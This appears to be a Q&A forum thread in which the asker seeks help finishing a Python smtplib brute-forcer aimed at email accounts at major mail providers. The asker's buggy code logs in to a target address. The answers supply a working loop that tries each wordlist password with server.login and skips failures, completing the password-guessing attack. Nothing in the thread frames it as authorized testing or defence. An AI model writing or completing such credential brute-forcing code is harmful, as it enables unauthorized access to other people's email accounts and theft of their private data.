-2

I have created a brute-forcer tool using smtplib module for top mail services but I am struck with a problem. The problem is how can I take a text file as input.

I want that the tool should take the password from 1st line of wordlist and try it, and then, it would move to the next password and try it.

What I tried is:-

def wordlist():
    global file
    file = open('file.txt')
    global max_line
    max_line = int(input("Please enter the number of passwords (lines) in the worldist: "))
    global line
    line = file.readlines()
    global line_no
    line_no = 0
    main()

def main():
    line_no+=1
    while max_line!=line_no:
        server.login('target@email.com', line[count])
        line_no+=1

if __name__ == "__main__":
    wordlist()

In simple words, I want to create a loop in which the tool should take 1st password from wordlist and try it, and then move to the next.

3 Answers3

0

something like this:

for password in passwords:
    mail="From:example@example.com To:example@example.com Password:%s Text:wbdshgfbd" %(password)
Ruli
  • 2,592
  • 12
  • 30
  • 40
Rostcraft
  • 3
  • 7
0

you can use split("\n") to separate the passwords then use the list

Bullet
  • 28
  • 3
0
passwords=passwordsText.split("\n")
for i in passwords:
    try:
        server.login('target@email.com', str(i))
    except Exception:
        continue

Maybe like this.

Rostcraft
  • 3
  • 7